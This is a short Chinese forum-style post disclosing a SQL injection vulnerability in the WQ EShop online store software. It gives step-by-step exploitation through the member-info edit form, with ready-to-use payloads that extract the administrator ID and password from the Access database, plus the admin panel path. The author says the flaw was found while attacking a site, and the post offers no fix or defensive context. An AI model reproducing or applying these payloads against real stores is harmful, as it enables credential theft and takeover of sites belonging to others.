網奇EShop網上商城系統,注射漏洞

官網:http://www.wqeshop.com/ 也不曉得用的人多不多..上次搞站的時候..不小心盲注出來的. 具體看過程... 註冊個用戶， 進入會員中心，點擊“會員信息”頁面進行信息修改 在表單的任何一項中都可以進入暴數據操作 暴管理員ID：l', Name = Cstr(DLookUp('memberid', 'admin')) + ' 暴管理員密碼：l', Name = Cstr(DLookUp('Password', 'member', 'memberid=1')) 紅色的"1"字代表上一步暴出來的管理員ID 後臺地址：web+/admin/ 上面的方法得針對ACCESS的...當然如果是SQL的....啥都不用說了...大家都懂的.